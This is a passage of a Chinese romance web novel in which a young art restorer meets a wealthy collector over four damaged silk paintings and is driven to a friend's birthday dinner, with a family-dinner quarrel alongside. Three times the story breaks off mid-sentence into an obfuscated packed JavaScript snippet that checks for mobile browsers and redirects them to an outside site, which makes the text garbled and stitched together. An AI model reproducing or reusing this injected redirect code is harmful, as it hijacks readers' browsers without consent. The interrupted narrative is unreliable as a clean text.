江澈这才开口问:“我是不是在哪儿见过你?” 今宵在记忆里搜寻了一圈儿,确定没有与他见过面才摇摇头:“兴许是闻先生记错了。” 周佩立马将江澈往茶室推:“快去给今宵泡杯茶,我上楼换件衣服就来。” 江澈跟着看她一眼,示意她跟上,周佩送了两步,转身上了楼。 “你是周教授请的修复师?” 今宵跟在江澈身后听见他这么问,她轻轻应了一声,跟着拐进了茶室。 这间茶室连通北面的天井花园,推拉门留了一道缝隙,庭中鸡爪槭艳红,步石平整,三两红叶装点其间,添了些意趣,像是听见有人进来,花园里打电话的声音更沉了几分。 她无意探听,转而打量起茶室来。 室内光线柔和,茶香缭绕,云形楠木茶台上养了盆形态优美的兰草,两只天青釉汝窑青瓷杯面对面搁置着,应该就是那位在室外打电话的客人了,今宵这样想。 “你喝什么?” 江澈的声音拉回了她思绪,她微笑着答:“客随主便。” 江澈从墙边博古柜取来一青瓷盒,说:“太平猴魁吧,茶甜,女孩子喜欢。” 今宵挑了他斜对面的位置坐下,道了声谢,一转眼瞧见茶台上的牛皮纸袋,又问他:“这里头是那些绢本小画吗?” 刚烫完杯子的江澈一心泡茶:“是,你看看。” 为了保险起见,今宵将牛皮纸袋拿到了博古柜前的矮几处,双手收好了裙摆跪坐在蒲团上,这才小心翼翼拆开纸袋。 这四幅小画依照四季分别画了“春山踏青”、“涧边抚琴”、“秋林狩猎”和“寒江垂钓”四景,用的是没骨画法,画中山峦层叠,莲清枫艳,江岸银装素裹,江上孤舟飘零。 纵横不过二三十公分的绢本,却能将四季之象处理得精致细腻,动静相宜,实乃画中珍品。 她一时恍惚,以为是名家之作,仔细去看绢画上的落款,四幅小画落款处都有残缺,几经拼凑辨认,她得到三个字:槐安客。 一个完全陌生的名号,却叫她想起一句词——“错向槐安回首”。 槐安中人以客自居,归隐之心昭昭。 料想是哪位隐世高人的画作,她没有多问。 小画的破损程度比她想象中更高,绢丝老化,脏污也不少,其中两幅还有修复过的痕迹,但却修得不够细致,连落款处的字迹都没对上,“春山踏青”这幅更像是被人从中间剪了一刀,绢丝只有一半相连,全靠命纸托住画心,残缺处还透着覆背纸的颜色。 实话说,修复这四幅小画的难度很高,她这半路出家的手艺不一定能让画的主人满意。 “很难吗?” 今宵闻言一抬头,正对上江澈探究的一双眼,许是她独自对着绢画垂首端详太久,江澈什么时候泡好茶放到她位置上她都不知道。 她将四幅小画小心收进纸袋,拿起坐到茶台前,端着茶盏浅浅饮了一口,说:“绢本修复是要比纸本难些,绢有经丝纬丝,经纬交错会构成规整的四边形,四边形不具有稳定性,修复过程中会有变形的风险。不过画作修复不外乎洗、揭、补、全,四项,只要够花心思,说难,也没那么难。” 江澈一幅听懂了的样子:“看来周教授没找错人。” 今宵放下茶盏,她其实没那么有信心,又说:“原则上是这样,但还得看收藏者对画作修复的具体要求。” 江澈弯了下唇,一抬下巴:“收藏者听着呢,你问问他。” 今宵一回头,毫无防备对上沈修齐静若秋水的一双眸,他站在一庭秋霜之中,白衣黑裤,青松般英挺,寒山般沉静,像从画中来。 她视线不自然垂落,起了身道:“沈先生好。” “你们认识?” 今宵回过身坐下:“有幸做过沈先生的球童,先生球技很好。” 江澈听得一愣,随即像是明白了什么,重新给沈修齐斟茶:“湛兮可是职业水平。” 沈修齐指尖敲敲茶台:“你巴不得我走?” 今宵瞥了一眼那只青瓷杯,江澈把茶倒得很满。 他放下公道杯说:“打那么久电话,怕你口渴。” 沈修齐端起杯来一饮而尽,又略侧身,回她刚才的话:“能得今小姐指导,是我荣幸。” 今宵觉得这话听着有点怪,像藏了些情绪,但又不知道那是什么,她没回应,只双手捧着茶盏浅抿了一口。 江澈看她这般,出言打趣沈修齐:“你这人真是的,一来害得人姑娘话都不敢说了。” “是不敢么?”沈修齐放下青瓷杯,没再看她。 今宵默默摇头,脊背僵直,依旧没有开口说话。 她是无论如何都想不到,这四幅绢画的主人竟然是沈修齐。 半月前在柳荫下对话,她沉默婉拒他的好友申请,以为一别再难重逢,没想到这么快相见,快到双方都难以忘却当时场景有多尴尬。 她不知该如何应对,也不知像他这般位高权重的人物,被人当面下了脸,是否心中恼怒而面上不显? 所以那话是恼她的意思? 她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她摇摇头:“今天是我朋友生日,我们已经约好了。” “那我叫闻瑾送你。” “不不不,”今宵连声拒绝,“不麻烦闻先生,我自己出去打个车就行。” 她哪敢让大明星送她啊,倒是想要个签名照,只可惜现在的气氛也不太适合开口。 江澈还坐在位子上喝茶,唇边噙着笑意,见他二人先后起身,他悠然放下茶盏道:“妈,就让他俩去吧,你这顿饭,少不了他们的。” “说啥呢!”周佩乜他一眼,“快起来送送。” 今宵本想错开沈修齐出门,但周教授和江澈都送到门口了,她只好跟着沈修齐一起往外走。 这傍晚的秋风意外很轻,与他同行,始终有不属于这个秋天的青绿香气为伴,莫名,她心怦然。 “去哪里?” 他声音很好听,恍若一阵松风拂耳而过,她停住脚步侧身向他。 “我送你。”他说。 太意外,今宵愣住不知该作何回应。 视线几番探究,她问了句:“为什么?” 沈修齐同样因这反问疑惑。 “送你,还需要理由?” 她这时候反倒落落大方:“嗯,需要理由。” “我想送你,这个理由足够么?” 像是借来几缕晚霞添眉间彩,眼前人愈发生动起来,可她还记得沈修齐与周教授告别时的话。 “先生不是有事么?” 他答:“事有轻重缓急。” 无端端的,她的呼吸像被秋风掠夺一瞬,她怔忡着问:“那送我属于哪一项?” “重中之重。” 这话来得太突然,分量也很重,像千斤坠压她心头。 她怀疑自己听错了,抑或是,沈修齐理解错了她的提问,可方才在茶室的对视,他分明像有读心术一般,看出了她心中所惑,还给出了准确的回答。 她上前了两步,离他更近,以便细看他眸中情绪。 她迟疑着问:“先生......不是生我的气么?” 离得近了,沈修齐看她反倒是微敛眼睫俯视,而仰视他的人毫不设防,多少探究与疑惑都在那双水灵的眼里流转。 生气?莫不是为那好友申请? 他忽地想笑,没想到他沈修齐也有被人误会“小心眼儿”的一天。 既被误会了,那不如,真就“小心眼儿”这么一回。 所以他坦荡承认:“是,我很生气。” 眼前人疑惑更深,眉也蹙更深:“那还想送我?” 他更小心眼儿了:“因为你不让我送,我会气得更厉害,到时候气病了,这帐算你头上。” 晚光不知何时开始旖旎,总之地灯亮了起来,世界一半昏黄,一半灰蓝,此时风更轻,他的香气反倒更浓,像他这话里故作的夸张。 她再无法伪装,直白而欣悦地,笑了起来。 10. 老电影 - 坐上沈修齐副驾的时候,今宵在心中记了一笔账,她送他一回,他还一回,这算两清。 她毫无负担地报上生日宴地址,再拉过安全带给自己扣上,更不忘感谢他:“劳烦先生。” 沈修齐转身将牛皮纸袋放在后排座椅,回身时,盯住了她双眸:“不客气,今小姐。” 不属于这个秋天的青绿香气好像突然变得强势尖锐,并以极快的速度朝她冲撞而来,又一瞬间消散,仿若是她幻觉。 她听声一顿,莫名有种想要他别叫自己“今小姐”的冲动,但转念一想,他们还算不上朋友,保持一点疏离的客气没什么不好。 她翻出手机看了眼时间,微信上已有左疏桐轮番的轰炸,她俩以前如影随形,答应好去机场接她却爽了约,必然要被追问。 在她不回消息的这段时间里,左疏桐已经脑补了无数种可能性,最后一条消息是问她是不是见男人去了。 她想说,是呢,见你朝思暮想的男人,可惜气氛不对,没好意思开口要签名照,一想着这事儿她就觉得遗憾,多好的机会呀,她要是脸皮厚点就好了。 她没忍住叹了口气。 明明声音很轻,没想到被沈修齐听了个清楚。 “怎么叹气?” 她一门儿心思想着签名照,便直接脱口而出:“忘了要签名照了。” 她刚说完便心虚着抬手掩唇,再偏头看过去,晦暝晚光之中,开车的人分明笑意渐深,还一语道破了她今日目的:“所以今小姐今天来,是为了江澈的签名照。” “......” 其实硬要这么说也没错。 可她也是真的想帮周教授的忙,只是修复那几幅画...... “真的很难。” 她也不知道自己为什么要多说这么一句话,但就是不想让他误会她只是为了签名照而来。 正好红灯,沈修齐踩住了刹车,语气淡得听不出情绪:“我还以为,今小姐是因为我才不愿接下这差事。” 今宵感受到他的视线,登时呼吸一凛。 她手指缓慢刮蹭着裙子上的格纹,声音低了下去:“不是把先生惹生气了?我哪还敢接啊。” 沈修齐被这话逗笑了,可他还不忘延续方才的夸张:“的确,我这一整年要生的气都在今小姐这儿生完了,现在感觉浑身难受,得找个人骂一骂。” 说着他就打了江澈的电话。 今宵还愣着不知怎么回事,江澈的声音就在车里响了起来:“你干嘛?忘拿东西了?” 沈修齐直接问他:“你刚才为什么不给我签名照?” 电话那头安静了片刻,短短的几秒钟时间里,江澈像是一头栽进一团迷雾,片刻,又豁然开朗,他开始笑,既不惊讶,也不尴尬地回:“那你回来拿。” 这段对话太过自然,就好像他们本来就约好了要拿签名照。 可他们已经那么熟了,还要签名照干嘛? 今宵当然知道他是为了自己,她安静听着,双手不自觉将胸前的安全带紧攥,被一些莫名其妙的紧张情绪左右着。 沈修齐在这时偏头朝她看,她分辨得清楚,这是在问她要不要回去拿,她赶紧点头,机不可失。 得了指示,沈修齐收回目光打着转向灯掉头:“五分钟到,你准备好。” 十足十的上位者口吻,听着架子比大明星还大,但大明星只笑着说了声“好”,完全没有别的情绪。 直到他俩的电话挂断今宵才缓慢回神,她后知后觉道谢:“多谢先生。” 沈修齐还是那句话:“不客气,今小姐。” 只是语气更温柔了些,听着让人心情愉悦。 他们才从别墅区出来,回去也很快,可能都没到五分钟,车就停在了江澈家门口。 入秋日渐短,江澈一身白色休闲装在夜色里十分显眼,今宵看过去就没移开视线。 能经受住大荧幕考验的形象绝对是无可挑剔,偏他还有优越的出身,上佳的教养,实力过硬又低调谦和,也难怪左疏桐会这般痴迷。 沈修齐降下车窗,江澈上前递了个信封,他的话是冲着沈修齐说的,视线却是朝着今宵去的:“要不是现在天黑了,我真得瞧瞧今儿这太阳是不是打西边儿出来的——” “少贫,”沈修齐打断了他,“回去吧。” 江澈笑着不说话,挥挥手,是冲今宵告别,今宵回了个腼腆的笑,沈修齐迅速关上了车窗。 信封交到了她手里,她打开看了一眼,竟然有十二张。 这些照片她没见过,瞧着像是新鲜出炉的,十二张,还兼顾四季不同造型,很有可能是为明年的月历拍的,说不准还没公开过,这下左疏桐一定很高兴。 “你喜欢江澈?”车一启动沈修齐就这么问,像是闲聊。 今宵也没多想,翻看着照片回:“是为我闺蜜要的,她喜欢。” 沈修齐了然:“这是给她的生日礼物?” 今宵将照片收好放进包里:“不是,今天是她哥哥生日。” 沈修齐反应了一下:“就是那天送你回家那位?” “嗯。” 沈修齐记起四合院门前那个带有敌意的目光,没再说话。 今宵不知他在想什么,再一次投去视线,窗外霓虹倾斜着从他身上划过,营造出缓慢又虚幻的时光交错感。 他沉默着,像放映室的一部老电影,明明色调单一,构图也简单,甚至没有一句台词,可她仍不愿放过每一帧画面,也尽可能想要读懂导演的镜头语言,可惜电影很短,胶片一走完,今夜就要结束了。 她回头,瞧见了安静躺在后排座椅上的牛皮纸袋,也记起了周教授那句话——“想留个念想都难。” 这份思念并不难想象,她如今已深切体会,至亲之人故去,思念便是天与地,生与死的唯一连接,多少次睹物思人,她也想再求父亲入梦,哪怕只是遥遥相望,哪怕不说一句话。 她今日的拒绝并非畏难,而是觉察这份思念弥足珍贵,她不敢以自己半路出家的功夫去对待。 可当时急转直下的气氛她仍记忆犹新,想来,他已为这四幅画寻觅已久。 车内很安静,城市的喧嚣被玻璃隔绝了大半,她想了想还是说:“我奶奶有几位朋友能修绢画,我可以帮沈先生问问。” 谁料他却道:“不必了。” 是不抱希望了吗?今宵在心里这样想。 她竟然有点难过,说不清是为什么。 也许画上的残缺也是思念的一部分?那为什么一开始要找修复师? 她不知道,也忍住了询问,可欠一笔债,就要还一笔帐,哪怕要个签名照只是他一句话的事。 她郑重其事地说:“沈先生帮了我的忙,我也想为先生做点什么。” 又是红灯,沈修齐停住了车,偏眸打量。 这小姑娘生了双会讲话的眼睛,却又不懂掩饰,总将缠绕的心绪盘结在眼底,让他一览无余。 而她此刻言辞恳切,声音温柔,乍一听,还以为是在讨他欢心,可“划清界限”这四个字就差写她脸上了。 他收回目光,也温柔地回:“那便麻烦今小姐,今宵尽兴。” 这句话,很像是老电影的最后一句台词。 盛夏日暮,男主开着老式敞篷车将女主送到晚宴场所门口,女主牵着宽大的裙摆下车,双手将小手包按在身前,耳间珠宝随她悠晃,一转身望向男主,面上跃动着难以抑制的欣喜,很显然,她已为这个夜晚准备已久。 可这时候男主说了句“今宵尽兴”,这就像对话末尾那句“haveaniceday”,是一句委婉的结束语。 男女主的感情线观众尚未可知,电影就这么匆匆走到结尾,开放式结局,有人恨有人爱,也叫人永远对电影留有属于自己的期待。 一瞬间,她的视线在往下坠,思绪在往下坠,一句“今宵尽兴”,就把今宵溺进了深海里,只有一颗心拽不住地要往上飘。 她不喜欢开放式结局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她小小仰起下巴:“有没有人说过沈先生很幽默?” 沈修齐单手握着方向盘,空出的右手随意搁置在腿上,姿态很放松,唇角也漫不经心地弯了下:“今小姐是第一个。” “那沈先生还要不要为难我?” 今宵说完这话,整个人都往前倾了一下,她抬头看,是红灯,沈修齐这次刹车刹得有点急。 他们视线相对,沈修齐问她:“有没有人说过今小姐很大胆?” 他学她提问,她便也用他说过的话回答:“沈先生是第一个。” 这个路口左转的红灯时间很长,绿灯时间很短,他们好像沉默了一段,随后电车迅速汇进交错的车流里。 拐过弯,生日宴的餐厅就在眼前,胶片就快要走完了,他还没说最后一句台词,也尚未确定故事结局。 车停下,沈修齐这才开口问:“今小姐什么时候有空?” 他的语气听起来很郑重,像是在对待一个耗资几十亿的重大项目,下一秒就要和她约开会时间。 今宵忽然想笑:“这个问题值得沈先生特地停下车才问么?” 他快速地答:“因为我在思考要将今小姐‘为难’到什么程度。” 很有意思的逻辑,今宵望向他双眼,给了回答:“我是学生,自然是节假日有空。” 不过...... 她往后排递了一下目光:“沈先生的意思,是不准备把画给我带回家吗?” 沈修齐极轻地挑了下眉:“今小姐都说了,这四幅画是我母亲的‘心血’,如此珍贵,我必然要当好监工,确保画作不被‘随意对待’。” 他停顿了一下,说:“所以今小姐得来我家里工作。” 今宵正要接话,手机却在包里急促地震动起来,她不得不去看,是左疏桐在催她了。 她只好尽快结束对话:“我会把我之后的课表发给您,您可以挑您方便的时间联系我。” 她迅速解了安全带开门下车,像老电影里的女主,看他时,面上仍跃动着欣喜之色。 她右手扶着车门与他告别:“下次见面,先生可以叫我今宵。” 没等他说最后一句台词,她挥挥手,关上车门。 今宵还未尽兴。 电影便不会迎来结局。 11. 主动点 - 生日宴是在一家小有名气的私房菜馆,老板是潮州人,擅长做海鲜,会根据时令调整菜单,一晚上只接待三桌客人,口碑很好,价格很高,也很难预约。 今宵之前和左家兄妹来过,她很喜欢这里的花雕蒸蟹配陈村粉,另外一些海鲜前菜和汤都不错,非常符合她的口味。 餐厅开在商圈边缘,临街一个小小门脸,推了门进去别有洞天,电话还没挂断,左疏桐已经迫不及待跑了出来。 闺蜜见面先是大大的拥抱,接着就是埋怨:“说得好好的来接我!转头就变成我接你了!你是不是太过分了啊今宵!” 左疏桐比今宵高半个脑袋,今晚还穿的高跟鞋,她这闺蜜借着身高优势抱她跟抱小猫小狗似的,她被左疏桐锁在怀里,艰难抬起一双含笑的眼来:“我给你带了礼物。” “今儿又不是她生日,怎么还给她买礼物?” 跟着左疏桐出来的还有今晚的寿星,左清樾平时工作总是穿正装,日常便是以休闲装为主,今夜多少算个正式场合,他却依旧牛仔裤配廓形衬衣,潮得没边儿。 闺蜜俩总算是分开,今宵打开包朝左清樾递上了自己的礼物:“清樾哥,祝你生日快乐。” 藏蓝色的包装纸上印有品牌logo,是一支万宝龙的钢笔,左清樾刚接过礼物还没开口呢,左疏桐先忍不住了:“你干嘛给他买万宝龙啊!他家里的钢笔都快堆成山了!” “这支不一样啦!” 她知道左疏桐是担忧她如今的经济状况,但左清樾前前后后帮了她这么多,生日礼物总不能敷衍。 她冲左清樾说:“是中配版的简·奥斯汀,不算贵,哥哥尽管放心收下,这支编号是0929,正好是哥哥的生日,所以看到就买下了。” “有心了,元元,”左清樾伸手揉揉她的发,“我很喜欢。” 左疏桐在一旁啧啧艳羡:“你给他当妹妹好了!这么用心!” “你们仨在这儿站着干嘛呢?” 一会儿不见人,左疏桐妈妈佟琳走了出来,见这三人在走廊里聊天,招招手将他们一并唤进了包厢。 今宵走在左疏桐身侧,拉开包将信封递上,像是在搞什么地下交易,左疏桐一看她表情就明白了这信封里是什么,差点大叫起来。 两人紧挨着入座,左疏桐急不可耐将信封拆开,看清楚是签名照,抱着今宵就是一顿猛亲:“我太爱你了!!!!!” “你别告诉我你今天没来接我就是去见江澈了吧?!” 今宵抿唇笑着,点了点头。 左疏桐又惊又喜,甚至连签名照都没来得及好好欣赏,立马就拉着她问东问西。 今宵无奈,只好一五一十交代,从她进江澈家门开始讲起,讲他的穿着,谈吐,家里的装修,母子关系,说到江澈给她泡了茶,左疏桐嫉妒得眼睛都红了,还指着她鼻子威胁:“你不许喜欢江澈!” 今宵哈哈两声笑出来:“你放心吧!我不喜欢江澈这种类型的。” 这话勾起了左疏桐的好奇心:“那你喜欢什么类型的?我跟你认识这么多年,还没听你说过。” 今宵眼神突然放空,想起了只出现在胶片电影里的一幕,他不是电影明星,却又稳稳占据着“男主”的位置,在闺蜜问起她喜欢什么类型的时候,狡猾地钻进她脑海里,挥之不去。 她摇摇头:“说不清楚,看感觉吧。” 不是什么重要的话题,左疏桐很快揭了过去,转而聊起最近的生活,你一言我一语,一刻不歇。 闺蜜俩凑在一起总是有说不完的话,说起国庆假期,左疏桐邀请她去日本看枫叶,今宵这才想起来,她答应了沈修齐要给他发课表。 她赶紧拿出手机翻他电话号码,左疏桐问她忙什么,她顿了一下说:“我......可能去不了。” “为什么?”左疏桐失落道,“你不用担心钱,我请你啊。” 今宵复制了那个号码点开微信,解释道:“不是钱的问题疏桐,是我接了一差事,要帮忙修复几幅绢画。” “那也不急这一时啊,不是在约定期限内修复好就可以了吗?” 一打岔今宵手上动作就慢了下来,她又锁上了手机说:“我这个委托人比较特殊,我得去他家里工作。” “什么人啊!”左疏桐立马警觉起来,“真修复还是假修复啊?你别被骗了吧!” “不是的,你别误会,他是江澈的朋友。” 她这时候只有搬出江澈,才能让左疏桐相信,对方不是假借修复之名图谋不轨。 “所以你是接了这差事才帮我要到签名照的吗?” “......算是吧。” 左疏桐的表情突然有点复杂,她这闺蜜从小娇生惯养,何时为钱看过人脸色?现在竟然为了她接下这么个苦差,她突然觉得到手的签名照不香了。 她好想说,“这签名照我不要了,你也不要去做那苦差事,就跟着我出去玩,永远也不要看谁的脸色”,可话到嘴边,她又说不出口。 她们已经长大了,有完全不同的人生轨迹和课题,许多事情已不能再像小时候那样任性逃避,不幸已经发生了,逃得了一时逃不了一世,该面对的事情并不会因为害怕吃苦而减少分毫。 她其实应该高兴,她的闺蜜并没有因为突逢厄运一蹶不振,她很坚强,很乐观,很积极在应对生活。 她忍住了情绪说:“我当初就不该听左清樾的话去南城读书!” 要是她留在北城,就不会让今宵独自面对这么多事情,她虽能力有限,不能为今宵提供什么实质性的帮助,但至少还有陪伴,她不会让今宵孤独。 “又说我什么坏话呢?” 这间餐厅私密性很好,三间包厢不相连,左清樾刚从朋友那桌回来,正好听见这话,便拉开椅子坐在了左疏桐身边,撑着桌沿问:“去南城哪儿不好了?” 左疏桐皱着眉,还一脸不满。 左清樾没理她,偏头和身边亲戚聊了两句,忽然听见左疏桐叹了口气:“我要是个男的就好了。” 他看过去,一旁的今宵边吃边问:“为什么啊?” 左疏桐不假思索:“这样就能把你娶回家不让你受苦了啊。” 左清樾和今宵同时笑了出来。 左清樾问她:“你养得起吗就想娶回家?” 左疏桐乜他一眼:“这不是还有你吗?你可以帮我一起养!” “那我成什么了?冤大头?老婆没得到还得挣钱帮你养?” 这兄妹俩逗得今宵直笑:“那万一你俩合起伙来欺负我怎么办?” 左疏桐傲娇哼了声:“我倒是有可能欺负你,左清樾?心疼你还来不及呢。” 左清樾跟着冷哼一声:“那是元元乖,像你似的,我说一句能顶十句。” 左疏桐正要顶嘴,被一声“清樾”打断。 佟琳推门进来,站到了左清樾身后:“怎么在这儿坐着?去我那儿喝两杯,人小妍等你半天了。” 母子俩说着话,今宵拉着左疏桐悄声问了句:“小妍是谁?” 左疏桐凑到她耳边说:“我妈给左清樾介绍的对象,刚从牛津毕业回来,也是学法律的,你说他俩要是在一起得多无聊!” 今宵捂着嘴偷笑了一下,再看左清樾,脸上没什么表情,但不动如山,压根儿没有要起身的意思。 最后佟琳狠拍了他肩膀一下,又低声说了什么左清樾才站起来。 母子俩一走,今宵也跟着起了身说:“我去趟洗手间。” 她刚出门就撞上佟琳,她以为佟琳要进去和宾客寒暄,还侧身让了一下路,没成想佟琳直接抓住了她手腕问:“元元多久没来家里了?” 今宵想了一下,回握住佟琳说:“是有一段时间了,我也怪想您的。” 二人寒暄着往洗手间去,出来的时候,佟琳往今宵手里塞了张卡。 今宵一时愣怔,佟琳半怨半怜爱地说:“你现在不比以前,不要给清樾买那么贵的礼物。” 今宵推回去:“清樾哥这几个月为我忙前忙后那么辛苦,这只是一件生日礼物而已,清樾哥都收下了,佟姨就别跟我客气了。” 佟琳叹了口气。 今宵觉得有些不对劲,握着她的手关切:“您这是怎么了?” 佟琳别开眼看镜子,踌躇几分,又叹了口气。 今宵这下确定了,佟琳这是有话要跟她说。 她犹豫了下,直言道:“佟姨有话就跟我直说吧。” - 眼看今宵进了餐厅,沈修齐才启程回老宅,今夜这临时家宴,他又毫无意外地迟到了。 他一进门就迎上闫美玲的埋怨:“不到五点就给你打了电话,你瞧瞧现在几点了?” 沈修齐还没来得及回话,沈泊真就先宠着帮了腔:“妈,湛兮总有他自己的事要忙,我今儿回来也没提前知会他,怨不上他来晚。” 闫美玲瞪她一眼:“你就惯着他!” 沈修齐大步流星走进餐厅,脸上挂着春风得意的笑:“还是姑姑疼我。” 他一走近沈泊真就拉住了他:“坐姑姑旁边。” 沈修齐朝沈君正和姑父汪志文的方向招呼了一声,这才坐下。 这一大家子人凑一桌吃饭,沈泊真还是像以前一样,要沈凝光沈修齐姐弟俩一左一右陪着。 沈凝光手里端了杯酒,一脸狐疑将沈修齐盯住:“你今下午的会不是取消了?干嘛去了?回来这么晚。” 沈修齐接过了阿姨递上来的热毛巾,边擦手边说:“约会。” 他这两个字成功吸引了整桌人的注意,沈泊真立马追问:“怎么不带回来一起吃饭?是哪家的姑娘?我见过吗?” 不等沈修齐回答,沈凝光就先说:“姑姑您就信他瞎扯,除了咱集团同事以外,他沈三爷身边出现只猫都是公的,哪儿来的姑娘跟他约会啊。” 沈修齐一听来了劲:“谁告诉你我身边出现只猫都是公的?” 餐厅一下子安静了,都等着他下一句话,谁料他笑了下:“那都是公公,能算公的么?” 一桌人都没忍住笑了出来。 虽说今夜是临时家宴,但沈泊真和汪志文回来,家里成员该到的都到了,沈明彰一家三口,沈凝光夫妻俩,就沈修齐是一个人,所以这家宴免不了要提他的个人问题。 沈泊真推了他一下:“那你还不抓紧点儿!” 沈修齐又笑:“急不得。” 沈明彰在这时候提了句:“小旋不是回来了?怎么不见你约她?小时候你俩可是形影不离。” 此话一出,一桌人子又莫名其妙安静了一瞬,但与之前期待沈修齐下句话的氛围不同,这时候众位脸上表情各异,像是各怀心思,气氛一下子就降到了冰点。 只有沈修齐面色如常,还给自己倒了杯茶,喝完了才缓缓开口:“大哥您也说了,那是小时候。况且小时候是她跟我屁股后头,不是我跟她形影不离。” 夏婉笑着接话:“那人家毕竟是女孩子,总不能长成一大姑娘了还天天来跟你屁股后头,湛兮也该主动点儿。” “有什么好主动的?” 沈泊真一点儿也不给夏婉面子,直接冷了脸道:“真当湛兮除了胡旋找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543021|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好的?!” “话不是这么说的,老二。” 坐在上首的沈君正发话了,一桌子小辈都没吭声,就沈泊真顶了回去:“爸,当初这婚约是胡家死活要取消的!现在是怎么?找了一圈儿发现还是我们湛兮好?!拿我们湛兮当什么了?!她家反悔了一次不够还想反悔第二次?!” 她一拍桌子:“没这么做事的!说出去笑掉人大牙了!” 沈泊真语气不好,沈修齐赶紧出来打圆场:“已经不作数的事姑姑又何必动气?大嫂也是为了我好,怕我孤家寡人一个,日子难过。” 夏婉被这一通说,隐隐有些不悦,沈明彰只好跟着陪笑:“谁说不是呢,咱这家里就湛兮还单着,时常有人问到夏婉这儿,她也不好答复,这不是关心一下?以后再有人问起来,她也好帮着说说。” 夏婉在桌子底下拧了沈明彰一把。 沈君正听了沈泊真这话也不恼,面上始终带着笑,叫人猜不透他在想什么,裴珩碰了一下沈凝光,夫妻俩适时举起酒杯邀着一家人喝一杯,这尴尬的气氛才一下子散了。 等喝完沈泊真才发现沈修齐喝的是茶,她将杯子往桌上一放:“都不跟姑姑喝酒了?” 沈修齐拉着她小声说:“我开车,等明儿您上我那儿,我陪您一醉方休,正好您也能看看永嘉。” 沈泊真一想起那孩子,心也软了:“行,都听你的。” 酒足饭饱,闫美玲说备了好茶给大家伙儿尝尝,一家人又移步茶室品茗,沈泊真没去,也没让沈修齐去,姑侄俩还坐在原来的位置上,聊起了沈泊真最近的工作成果。 沈修齐看了眼手机,说:“我昨晚看到内部报告了,一期工程完成得很好,能赶在国庆前出报道上头很满意。” 沈泊真和汪志文都是航天通信领域的工程师,在国内首个布局低轨道互联网卫星矩阵的“StarMatrix”计划中,沈泊真任副总指挥。 沈泊真也不拐弯抹角:“你知道我们的难点。” 说起这StarMatrix计划,沈修齐也是发起人之一,早在八年前他就向沈泊真提过自己的想法,但那时候并未得到重视,也没有专项资金支持研发。 后来国际形势有了微妙的变化,StarMatrix计划才正式启动,得益于深渊科技的无偿贡献和技术支持,计划后续发展迅猛,只是这成本居高不下,商业化模式也亟待探索。 成本问题,项目组会一层一层去优化,沈泊真也不想麻烦沈修齐,就是这商业计划,还得要他这个集团实际掌权人考虑。 沈泊真说了很多,沈修齐也安静听着,说耐心,他时不时就要看一眼手机,说敷衍,沈泊真说什么他又能接得上。 说到最后,沈泊真直接问:“你在等谁的消息?” 沈修齐盯着手机不说话,沈泊真瞧出来了,这还真是在等姑娘呢。 沈泊真还是头一回见她这宝贝侄儿为私事心神不宁,索性也不拘着他聊公事了。 她笑着拍他肩膀:“你这干等着哪儿行?追小姑娘得主动点儿!” 沈修齐立马起了身:“那我先走了,姑姑。” 没一会儿,茶室那边也散了,沈凝光出来只看到沈泊真一人在餐厅坐着,便走上前询问:“姑姑,湛兮上哪儿去了?” 沈泊真闻言,放下手机笑着回她:“找小姑娘去了。” 沈凝光一听这话跟听了什么天方夜谭似的,惊得瞪眼:“还真有小姑娘跟他约会啊?” 她说着就要拿手机:“我得问问去。” 沈泊真赶紧拍了她一下:“不许问!好不容易见着湛兮动了点儿心思,你可不能给他搅黄了,不然姑姑拿你是问!” “瞧您说的!”沈凝光从背后一把抱住了沈泊真,“我这不是关心他吗?” 沈泊真哼了声:“你要是真关心他就少说他两句,你这一天天三爷长三爷短的,就没句好话给他听。” 沈凝光不以为意:“姑姑您就是偏心,您还没见着沈湛兮在会上给我气受的时候。” 裴珩上前牵住了沈凝光的手,笑着打趣她:“怎么还跟姑姑告起状来了?湛兮那是公事公办,又不是针对你一人。” 沈泊真转身将二人牵在手里,脸上是极欣慰的笑:“还得是阿珩会说话,不像你们两姐弟。” 后头的夏婉见了这一幕,拽了拽沈明彰袖子,转身就往门口去了。 沈明彰冲沈泊真打了声招呼,抱着已经熟睡的沈宝婺跟着出了门。 夜色正酽,夏婉甚至没忍到门口就开始不满:“你那姑姑这一晚上就没拿正眼瞧过你!” 沈明彰蹙了下眉:“我又没坐她对面,她怎么拿正眼瞧我?” 夏婉一下拔高了声音:“我说的是这意思吗?!” “你小点儿声,别给孩子吵醒了。” 夏婉停下脚步,压低了声音,却压不住愤怒:“当着全家人的面下我的脸,那是没把你放在眼里!这些年她是怎么对待沈凝光姐弟,又是怎么对待你的?敢情你不是她侄子?!” 沈明彰继续往外走,有点烦,却也忍住了情绪道:“我妈去得早,凝光和湛兮都是姑姑带大的,感情深厚点儿不是很正常?况且姑姑不满的是胡家,又不是针对你,你老扯这些乱七八糟的做什么?” “我扯?”夏婉冷哼了声,“你这么为着你沈家人说话,他们拿你当沈家人了吗?分配股权的时候想过你吗?” 夏婉拉开车门矮身坐进了驾驶位:“什么好处都让那两姐弟占尽了,你就活该一辈子窝囊!” 沈明彰黑了脸,抱着沈宝婺坐进了后排,没再说话。 12. 一场雨 - “你怎么去了那么久?” 今宵一回到包厢就被左疏桐质问,她拉开椅子坐下说:“有点不舒服,刚在外面站了会儿。” 